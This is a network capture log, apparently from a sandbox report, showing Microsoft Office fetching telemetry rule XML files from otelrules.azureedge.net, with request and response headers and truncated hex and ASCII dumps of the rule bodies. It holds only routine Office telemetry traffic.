2024-10-05 12:34:17 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	57541	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:17 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:17 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:17 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 4543d13f-701e-0050-5a04-176767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123417Z-1657d5bbd48tnj6wmberkg2xy800000000kg000000004w1z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:17 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	57542	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:17 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:17 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:17 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 0dcb9a48-e01e-0003-1c8c-150fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123417Z-15767c5fc55d6fcl6x6bw8cpdc0000000du000000000p90y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:17 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	57543	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:17 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:17 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 4a218e36-401e-00a3-268c-158b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123417Z-15767c5fc554w2fgapsyvy8ua00000000df000000000hwhg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	57544	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:17 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:17 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: f1c85a61-d01e-007a-188c-15f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123417Z-15767c5fc554w2fgapsyvy8ua00000000dm00000000087nb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	57545	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:18 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:18 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:18 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 7cb43a82-e01e-0033-45fe-164695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123418Z-1657d5bbd48xdq5dkwwugdpzr000000000s000000000gags x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:18 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	57546	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:18 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:18 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:18 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 9139889b-001e-0079-22f3-1612e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123418Z-1657d5bbd48tzspvqynhg14aes00000000r000000000h4zs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:18 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	57547	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:18 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:18 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:18 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: f40770c2-201e-0000-318c-15a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123418Z-15767c5fc55kg97hfq5uqyxxaw0000000e1000000000buby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:18 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	57549	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:18 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:18 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:18 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: de435f0b-f01e-0052-0101-179224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123418Z-1657d5bbd4824mj9d6vp65b6n400000000m000000000gmv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:18 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	57548	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:18 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:18 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:18 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: d51e0a59-d01e-005a-6cfe-167fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123418Z-1657d5bbd48xdq5dkwwugdpzr000000000v0000000007mfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:18 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	57550	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:19 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:19 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:19 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: 801e3e61-b01e-0021-2d8c-15cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123419Z-15767c5fc55gs96cphvgp5f5vc0000000du000000000rawf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:19 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	57551	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:19 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:19 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:19 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 1f481f42-c01e-002b-6c8c-156e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123419Z-15767c5fc55gs96cphvgp5f5vc0000000dyg00000000afg3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
